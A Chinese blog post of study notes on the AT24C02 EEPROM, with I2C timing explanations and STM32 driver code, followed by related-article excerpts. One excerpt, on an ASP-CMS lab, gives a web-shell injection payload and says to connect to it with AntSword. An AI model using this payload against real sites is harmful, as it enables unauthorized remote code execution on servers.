AT24C02学习笔记

news2025/2/7 12:48:22

看手册:

AT24Cxx xx代表能写入xxK bit=(xx K)/8 byte   

内部写周期很关键,代表每一次页写或字节写结束后时间要大于5ms(延时5ms确保完成写周期),否则时序会出错。

页写:型不同号每一页可能写入不同大小的字节数

AT24C02:         一页8字节,地址第一页可写地址0x00~0x07

AT24C04/08/16: 一页16字节,地址第一页可写地址0x00~0x0f

AT24C32/64:      一页32字节,地址第一页可写地址0x00~0x1f

基本的读写操作(字节读写,页写,随机读,序列读)芯片内部会自动递增地址,无需在代码里操作地址

芯片引脚

器件地址(7位):

AT24C02: 前四位固定1010,后3位根据芯片引脚接高低电平决定

AT24C04: 前四位固定1010,A2、A1位根据芯片引脚接高低电平决定,后一位必须接地。

AT24C08: 前四位固定1010,A2位根据芯片引脚接高低电平决定,后两位必须接地。

AT24C16: 前四位固定1010,后3位必须接地。

读写位:读1  、写0

AT24Cxx系列优点就是低功耗

基本读写操作

字节写:

I2C时序通信:发出起始条件->发送8位地址(器件地址7位+读写位0)->主机接收应答(从机发送应答)->发送字地址(芯片内部)->主机接收应答(从机发送应答)->发送8位数据->主机接收应答(从机发送应答)->发出停止条件->等待5ms(延时5ms)保证完成写周期;

页写:

I2C时序通信:发出起始条件->发送8位地址(器件地址7位+读写位0)->主机接收应答(从机发送应答)->发送字地址(芯片内部)->主机接收应答(从机发送应答)->发送8位数据->主机接收应答(从机发送应答)->…………(最多发送8个数据否则会覆盖先前写入的数据(字节))->发出停止条件->等待5ms(延时5ms)保证完成写周期;

内部写周期机制:发送写命令->……->发送停止信号,启动写周期->可以通过发送I2起始信号->(1)(发送一个字节->读取EEPROM应答判断芯片是否应答0 )->不是就重复操作(1)->是,就进行下一个操作

随机读一个数据:

发出起始条件->发送8位地址(器件地址7位+读写位0)->主机接收应答(从机发送应答)->发送字地址(芯片内部)->主机接收应答(从机发送应答)->发出起始条件->发送8位地址(器件地址7位+读写位1)->主机接收应答(从机发送应答)->可用指针来操作(存储)读取8位数据->主机发送不应答->发送停止信号

顺序读(连续读数据):

发出起始条件->发送8位地址(器件地址7位+读写位0)->主机接收应答(从机发送应答)->发送字地址(芯片内部)->主机接收应答(从机发送应答)->发出起始条件->发送8位地址(器件地址7位+读写位1)->主机接收应答(从机发送应答)->可用指针来操作(存储)读取8位数据->主机发送应答->……(直到主机不想接受了)->主机发送不应答->发送停止信号

原理图

AT24C02实现连续页写思路:

用一个变量来判断当前地址还可写入多少个字节,判断是否要跨页写,判断为需要跨页,先写完本页,再通过地址偏移(+前一页还可写入的字节数)得到下一页的地址,在进行一页写操作,如果写完一页,还没停止还要写,再通过地址偏移(+一页可写的字节数)得到下一页的地址,再进行重复操作。

总代码

AT24C02.c

#include "AT24C02.h"                  // Device header
#include "Delay.h"

//AT24C02模块地址0x01010111 0x57  0x10101111 AF AE
//AT24C02最多读写50个字节  0x31
#define AT24C02_ADDRESS (0xA0)

void AT24C02_W_SCL(uint8_t x)
{
    GPIO_WriteBit(GPIOB,GPIO_Pin_10,(BitAction) x);
    Delay_us(10); 
}

void AT24C02_W_SDA(uint8_t x)
{
    GPIO_WriteBit(GPIOB,GPIO_Pin_11,(BitAction) x);
    Delay_us(10); 
}

uint8_t AT24C02_R_SDA(void)
{
    uint8_t BitVal;
    BitVal = GPIO_ReadInputDataBit(GPIOB,GPIO_Pin_11);
    Delay_us(10);
    return BitVal;    
}

void AT24C02_Init(void)
{
    RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOB, ENABLE);	//开启GPIOB的时钟
	
	/*GPIO初始化*/
	GPIO_InitTypeDef GPIO_InitStructure;
	GPIO_InitStructure.GPIO_Mode = GPIO_Mode_Out_OD;
	GPIO_InitStructure.GPIO_Pin = GPIO_Pin_10 | GPIO_Pin_11;
	GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
	GPIO_Init(GPIOB, &GPIO_InitStructure);					//将PB10和PB11引脚初始化为开漏输出
	
	/*设置默认电平*/
	GPIO_SetBits(GPIOB, GPIO_Pin_10 | GPIO_Pin_11);			//设置PB10和PB11引脚初始化后默认为高电平(释放总线状态)
}

void AT24C02_Start(void)
{ 
    AT24C02_W_SDA(1) ;
    AT24C02_W_SCL(1) ;
   
    AT24C02_W_SDA(0) ;
    AT24C02_W_SCL(0) ;
}

void AT24C02_Stop(void)
{
    AT24C02_W_SDA(0) ;
    AT24C02_W_SCL(1) ;
    AT24C02_W_SDA(1) ;
}


void AT24C02_SendByte(uint8_t Byte)
{
    uint8_t i;
    for( i=0;i<8;i++)
    {   
      AT24C02_W_SDA(Byte &(0x80 >> i));//从最高位一位一位移出
      AT24C02_W_SCL(1);
      AT24C02_W_SCL(0);//用完拉低时钟线,防止时序出差
    }
   
}

uint8_t AT24C02_RecviceByte(void)
{   uint8_t i;
    uint8_t Byte = 0x00; 
    AT24C02_W_SDA(1);//主机放开对数据线的控制
    for(i=0;i<8;i++)
    {
        AT24C02_W_SCL(1);//时钟线高电平期间读取时钟线
        if(AT24C02_R_SDA()==1)   {Byte |= (0x80>>i);} 
        AT24C02_W_SCL(0);
    }
    return Byte;
}

void AT24C02_SendAck(uint8_t x)
{
    //AT24C02_W_SCL(0);
    AT24C02_W_SDA(x);
    AT24C02_W_SCL(1);
    AT24C02_W_SCL(0);//用完拉低时钟线,防止时序出差
}

uint8_t AT24C02_RecviceAck(void)
{
    uint8_t Ack=0;
    AT24C02_W_SDA(1);//主机放开对数据线的控制
    
    AT24C02_W_SCL(1);//时钟线高电平期间读取时钟线
    Ack = AT24C02_R_SDA();
    AT24C02_W_SCL(0);//用完拉低时钟线,防止时序出差
    return Ack; 
}

uint8_t AT24C02_WriteByte(uint8_t address,uint8_t data)
{
    AT24C02_Start();
    AT24C02_SendByte(AT24C02_ADDRESS);
    if(AT24C02_RecviceAck()) return 1;
    
    AT24C02_SendByte(address);
    if(AT24C02_RecviceAck()) return 2;
    
    AT24C02_SendByte(data);
    if(AT24C02_RecviceAck()) return 3;
    
    AT24C02_Stop();
    Delay_ms(5);//重点,最少要满足AT24C02的写循环的最小周期
    return 0;
}


uint8_t AT24C02_ReadByte(uint8_t address,uint8_t *data )
{
    AT24C02_Start();
    AT24C02_SendByte(AT24C02_ADDRESS);
    if(AT24C02_RecviceAck()) return 1;
    
    AT24C02_SendByte(address);
    if(AT24C02_RecviceAck()) return 2; 

    AT24C02_Start();   
    AT24C02_SendByte(AT24C02_ADDRESS+1);
    if(AT24C02_RecviceAck()) return 3;
    
    *data = AT24C02_RecviceByte();
    
    AT24C02_SendAck(1);
    AT24C02_Stop();
    Delay_ms(5);//重点,最少要满足AT24C02的写循环的最小周期
    return 0;
}

uint8_t AT24C02_PageWrite(uint8_t address,uint8_t *str,uint8_t count)
{
   
    AT24C02_Start();
    AT24C02_SendByte(AT24C02_ADDRESS);
    if(AT24C02_RecviceAck()) return 1;
    
    AT24C02_SendByte(address);
    if(AT24C02_RecviceAck()) return 2; 
    
    
    
    for (uint8_t i = 0; i < count; i++)
    {
        AT24C02_SendByte(*str++);
        if (AT24C02_RecviceAck()) return 3;
    
    }
   
//    AT24C02_SendAck(1);  //无需应答
    AT24C02_Stop();
    Delay_ms(5);
    return 0;
}   

uint8_t AT24C02_NPageWrite(uint8_t address,uint8_t *str,uint8_t count)
{
    uint8_t num =  address%8 +count  ; //判读是否跨页

   if(num>8)
   {
       while(count)
      {
            uint8_t temp =  8 - address%8  ;
            if(count>=temp)
            {
                AT24C02_PageWrite(address,str,temp);  
                address +=temp;
                str += temp;
                count -= temp;               
            }
            else
            {
                AT24C02_PageWrite(address,str,count);
                address +=count;
                str += count;
                count -= count;                             
            }
        }
   }        
    else
    {
        AT24C02_PageWrite(address,str,count);
       
    }
    return 0;
}   
    
u8 AT24C02_NReadData(uint8_t address,uint8_t *str,uint8_t count)
{
    
    AT24C02_Start();
    AT24C02_SendByte(AT24C02_ADDRESS);
    if(AT24C02_RecviceAck()) return 1;
    
    AT24C02_SendByte(address);
    if(AT24C02_RecviceAck()) return 2; 

    AT24C02_Start(); 
    AT24C02_SendByte(AT24C02_ADDRESS+1);
    if(AT24C02_RecviceAck()) return 3;
    
   for(uint8_t i = 0;i<count-1;i++)
   {   
       *str = AT24C02_RecviceByte();
        AT24C02_SendAck(0);
        str++;
        count--;
        
   } 
    *str = AT24C02_RecviceByte();
    AT24C02_SendAck(1);
    AT24C02_Stop();
   // Delay_ms(5);//重点,最少要满足AT24C02的写循环的最小周期
    return 0;
}    

AT24C02.h

#ifndef     _AT24C02_H_
#define     _AT24C02_H_

#include "stm32f10x.h"                  // Device header

//void AT24C02_WriteByte(uint8_t WordAddress,uint8_t data);
//uint8_t AT24C02_ReadByte(uint8_t WordAddress);
uint8_t AT24C02_WriteByte(uint8_t address,uint8_t data);
uint8_t AT24C02_ReadByte(uint8_t address,uint8_t *data );
uint8_t AT24C02_PageWrite(uint8_t address,uint8_t *str,uint8_t count);
uint8_t AT24C02_NPageWrite(uint8_t address,uint8_t *str,uint8_t count);

void AT24C02_Init(void);

u8 AT24C02_NReadData(u8 page_Address,u8 *buf,u8 Datalen);


#endif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2267330.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

119.【C语言】数据结构之快速排序(调用库函数)

目录 1.C语言快速排序的库函数 1.使用qsort函数前先包含头文件 2.qsort的四个参数 3.qsort函数使用 对int类型的数据排序 运行结果 对char类型的数据排序 运行结果 对浮点型数据排序 运行结果 2.题外话:函数名的本质 1.C语言快速排序的库函数 cplusplus网的介绍 ht…

五模型对比!Transformer-GRU、Transformer、CNN-GRU、GRU、CNN五模型多变量时间序列预测

目录 预测效果基本介绍程序设计参考资料 预测效果 基本介绍 光伏功率预测&#xff01;五模型对比&#xff01;Transformer-GRU、Transformer、CNN-GRU、GRU、CNN五模型多变量时间序列预测(Matlab2023b 多输入单输出) 1.程序已经调试好&#xff0c;替换数据集后&#xff0c;仅运…

利用Dockerfile构建自定义镜像

当一个系统开发完成&#xff0c;需要将系统打包为一个镜像文件&#xff0c;让docker能够运行该镜像&#xff0c;成为一个可以被访问的容器。 上述操作可以通过自定义镜像的方式来实现&#xff0c;本文章基于VMware虚拟机中安装的Centos7操作系统来完成。前面的操作步骤&#x…

喜报 | 擎创科技入围上海市优秀信创解决方案

近日&#xff0c;由上海市经信委组织的“2024年上海市优秀信创解决方案”征集遴选活动圆满落幕&#xff0c;擎创科技凭借实践经验优秀的《擎创夏洛克智能预警与应急处置解决方案》成功入选“2024年上海市优秀信创解决方案”名单。 为激发创新活力&#xff0c;发挥标杆作用&…

基于aspose.words组件的word bytes转pdf bytes,去除水印和解决linux中文乱码问题

详情见 https://preferdoor.top/archives/ji-yu-aspose.wordszu-jian-de-word-byteszhuan-pdf-bytes

快速排序学习优化

首先&#xff0c;上图。 ‘’’ cpp int partSort(int *a ,int left,int right) {int keyi left; //做左侧基准while(left<right){while(left<right && a[right]>a[keyi]){right--;}while(left<right && a[left]<a[keyi]){left;}swap(a[left…

搭建vue项目

一、环境准备 1、安装node node官网&#xff1a;https://nodejs.org/zh-cn 1.1、打开官网&#xff0c;选择“下载”。 1.2、选择版本号&#xff0c;选择系统&#xff0c;根据需要自行选择&#xff0c;上面是命令安装方式&#xff0c;下载是下载安装包。 1.3、检查node安装…

华为管理变革之道:管理制度创新

目录 华为崛起两大因素&#xff1a;管理制度创新和组织文化。 管理是科学&#xff0c;150年来管理史上最伟大的创新是流程 为什么要变革&#xff1f; 向世界标杆学习&#xff0c;是变革第一方法论 体系之一&#xff1a;华为的DSTE战略管理体系&#xff08;解决&#xff1a…

ASP-CMS漏洞

打开aspcms靶场 账号&#xff1a;admin 密码&#xff1a;123456 去保存抓包 在slideTextStatus1后面写上%25><%25eval(request(chr(65)))%25><%25 我们在去访问这个文件config/AspCms_Config.asp再去蚁剑连接&#xff0c;连接成功

pyqt和pycharm环境搭建

安装 python安装&#xff1a; https://www.python.org/downloads/release/python-3913/ python3.9.13 64位(记得勾选Path环境变量) pycharm安装&#xff1a; https://www.jetbrains.com/pycharm/download/?sectionwindows community免费版 换源&#xff1a; pip config se…

微服务-1 认识微服务

目录​​​​​​​ 1 认识微服务 1.1 单体架构 1.2 微服务 1.3 SpringCloud 2 服务拆分原则 2.1 什么时候拆 2.2 怎么拆 2.3 服务调用 3. 服务注册与发现 3.1 注册中心原理 3.2 Nacos注册中心 3.3 服务注册 3.3.1 添加依赖 3.3.2 配置Nacos 3.3.3 启动服务实例 …

《HelloGitHub》第 105 期

兴趣是最好的老师&#xff0c;HelloGitHub 让你对编程感兴趣&#xff01; 简介 HelloGitHub 分享 GitHub 上有趣、入门级的开源项目。 github.com/521xueweihan/HelloGitHub 这里有实战项目、入门教程、黑科技、开源书籍、大厂开源项目等&#xff0c;涵盖多种编程语言 Python、…

再生核希尔伯特空间(RKHS)上的分位回归

1. 基本定义和理论基础 1.1 再生核希尔伯特空间(RKHS) 给定一个非空集合 X \mathcal{X} X&#xff0c;一个希尔伯特空间 H \mathcal{H} H 称为再生核希尔伯特空间&#xff0c;如果存在一个函数 K : X X → R K: \mathcal{X} \times \mathcal{X} \rightarrow \mathbb{R} K…

基于单片机的血氧心率检测与报警系统研制(论文+源码)

1. 系统设计 本次课题为基于单片机的血氧心率检测与报警系统研制&#xff0c;在此设计了如图2.1所示的系统结构框图&#xff0c;整个系统包括了MAX30102心率血氧检测模块&#xff0c;DS18B20体温检测模块&#xff0c;液晶显示模块&#xff0c;按键以及主控制器stm32f103单片机…

如何在 Ubuntu 22.04 上安装并开始使用 RabbitMQ

简介 消息代理是中间应用程序&#xff0c;在不同服务之间提供可靠和稳定的通信方面发挥着关键作用。它们可以将传入的请求存储在队列中&#xff0c;并逐个提供给接收服务。通过以这种方式解耦服务&#xff0c;你可以使其更具可扩展性和性能。 RabbitMQ 是一种流行的开源消息代…

测试冰淇淋模型

测试领域的冰淇淋模型&#xff08;Ice Cream Cone Model&#xff09;是一个相对于传统的测试金字塔模型的反转&#xff0c;是一种与经典金字塔模型相对的测试策略。在这种模型中&#xff0c;测试的分布和重点与传统金字塔模型相反。以下是冰淇淋模型的主要特点和原因&#xff1…

多线程编程初探:掌握基本概念与核心原理

目录 1 初识线程 1.1 线程的由来 1.2 线程的产生 1.3 进程 VS 线程 1.4 关于系统内部关于线程和进程的资源调度问题 2 页表、虚拟地址和物理地址 2.1 对物理地址的描述 2.2 对于页表设计的解析 3 线程的控制 3.1 进程创建 3.1.1 pthread_create 3.2 线程退出 3.2.1 主…

电力场景配网缺陷系列之销钉缺失检测数据集VOC+YOLO格式3095张2类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;3095 标注数量(xml文件个数)&#xff1a;3095 标注数量(txt文件个数)&#xff1a;3095 …

2024国城杯 Web

这四道题目Jasper大佬都做了镜像可以直接拉取进行复现 https://jaspersec.top/2024/12/16/0x12%20%E5%9B%BD%E5%9F%8E%E6%9D%AF2024%20writeup%20with%20docker/ n0ob_un4er 这道题没有复现成功, 不知道为啥上传了文件, 也在 /tmp目录下生成了sess_PHPSESSID的文件, 但是就是…

MLLM学习过程

视频理解 SALOVA: Segment-Augmented Long Video Assistant for Targeted Retrieval and Routing in Long-Form Video Analysis 主要是用于增强对于长视频的理解。主要是讲视频进行剪切之后&#xff0c;首先判断每个剪切视频短对于文字的关联程度&#xff0c;并且将关联程度高…